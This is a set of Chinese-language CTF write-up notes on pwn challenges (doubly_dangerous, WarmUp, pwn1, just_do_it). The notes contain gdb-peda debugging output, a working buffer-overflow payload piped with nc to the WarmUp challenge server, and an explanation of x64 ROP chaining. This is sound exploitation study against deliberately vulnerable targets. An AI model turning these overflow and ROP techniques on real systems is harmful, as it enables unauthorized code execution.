doubly_dangerous
内存中找到浮点数据,覆盖用来比较的局部变量v2即可。
WarmUp
以下为同一个题目两种版本:
- 国外版:
栈不可执行。 - 国内版:
通过覆盖返回地址直接跳转到函数easy,我测试失败,接收报错,ida单步后实际进入easy。
查询资料发现可以使用ret做nop。
- 在文件内存中搜寻指令ret
ROPgadget --binary warmup | grep 'ret'
关于确定溢出点的一种方法:gdb-peda
$ objdump -M intel -d warmup | grep "<easy>" -A 6
000000000040060d <easy>:
40060d: 55 push rbp
40060e: 48 89 e5 mov rbp,rsp
400611: bf 34 07 40 00 mov edi,0x400734
400616: e8 b5 fe ff ff call 4004d0 <system@plt>
40061b: 5d pop rbp
40061c: c3 ret
$ gdb -q ./warmup
Reading symbols from ./warmup...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /root/warmup
-Warm Up-
WOW:0x40060d
>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
0x40069e <main+129>: call 0x400500 <gets@plt>
0x4006a3 <main+134>: leave
=> 0x4006a4 <main+135>: ret
Stopped reason: SIGSEGV
0x00000000004006a4 in main ()
gdb-peda$ x /gx $rsp
0x7fffffffe878: 0x4134414165414149
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72
$ python -c 'from struct import pack as p; print "A" * 72 + p("Q", 0x40060d)' | nc pwn.chal.csaw.io 8000
-Warm Up-
WOW:0x40060d
>FLAG{LET_US_BEGIN_CSAW_2016}
关于利用ret调用shellcode
函数调用方式的基本介绍
32位程序默认调用函数的方式为先将参数压入栈中,靠近call指令的是第一个参数
而64位程序默认调用函数的方式则不同
RDI 中存放第1个参数
RSI 中存放第2个参数
RDX 中存放第3个参数
RCX 中存放第4个参数
R8 中存放第5个参数
R9 中存放第6个参数
如果还有更多的参数,再把过多那几个的参数像32位程序一样压入栈中
然后 call
rop 的基本介绍
这里只说一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函数调用方式上的改变就好了
比如:现在有3个函数 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函数有栈溢出漏洞,a函数是个输入函数,c函数是system函数
我们要利用b函数的漏洞,运行c函数,而c函数需要从a函数上得到"/bin/sh"这种参数
该怎么做呢?
首先我们要知道 call 指令与 ret 指令是有两步操作的
call指令:
-
先把下一句指令的地址压入栈顶 rsp+=8
-
跳转到call后面跟的地址上去
ret指令: -
跳转到rsp所指的地址(之前的call压入的)
-
rsp-=8
如果我们调用函数时不使用call指令呢?
函数结束时,移动栈顶(清栈) jmp [rsp] ,rsp-=8
程序中找 pop rsi,pop rdi,ret 这种相连的指令(不相连也可以,不要再影响rsi,rdi就好),把地址记录下来pop_ret
程序中找 pop rdi,ret 这种相连的指令,把地址记录下来pop_ret2
好,我们把c函数的rbp+8的位置写 pop_ret 的地址
rbp+8 pop_ret
rbp+16 arg2
rbp+24 arg1
rbp+32 a函数的地址
rbp+40 pop_ret2
rbp+48 arg1
rbp+56 c函数的地址
当b运行结束后,会返回到 pop_ret 位置
pop rsi rsi=arg2
pop rdi rdi=agr1
jmp a函数
a函数 执行完后 会ret 到pop_ret2
pop rdi rdi=arg1
然后运行c函数
pwn1
-
查看文件头
file pwn1 objdump -f pwn1 readelf -h pwn1
-
查看保护
checksec pwn1
-
r2
root@24f5cb72be5c:/ctf/work/0x01/sCTF 2016 q1-pwn1# r2 pwn1 [0x08048e10]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Use -AA or aaaa to perform additional experimental analysis. [ ] Constructing a function name for fcn.* and sym.func.* functions [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [0x08048e10]> s main [0x0804932d]> pdf ;-- main: / (fcn) sym.main 18 | sym.main (); | ; DATA XREF from 0x08048e27 (entry0) | 0x0804932d 55 push ebp | 0x0804932e 89e5 mov ebp, esp | 0x08049330 83e4f0 and esp, 0xfffffff0 | 0x08049333 e877feffff call sym.vuln | 0x08049338 b800000000 mov eax, 0 | 0x0804933d c9 leave \ 0x0804933e c3 ret [0x0804932d]> f~vuln 0x080491af 298 sym.vuln [0x0804932d]> iz #查看字符串 [0x0804932d]> ii #查看导入 [0x0804932d]> ia #查看导出函数
-
objdump
objdump -T pwn1 #查看PLT objdump -R pwn1 #查看GOT
strcpy有溢出点,但是源字符串来源有32个的限制,而开辟的栈有0x3c,覆盖不到ret。
原文提示为:
I’ll convert a first person statement to a second person statement. I even wrote it in C++ to be super-safe about my strings!
提示说明程序将自我介绍的第一人称该为第二人称;即我是XX -> 你是xx。
结合伪代码猜测是将I替换为了you。那么可以通过多个I膨胀为you。
0x3C =60; 3 * 21 + 1 = 64即可以覆盖ret。
just_do_it
输入的缓存s能接收32字节,打印函数puts的参数v6与s的栈地址差为20字节,那么直接覆盖v6为全局变量flag即可。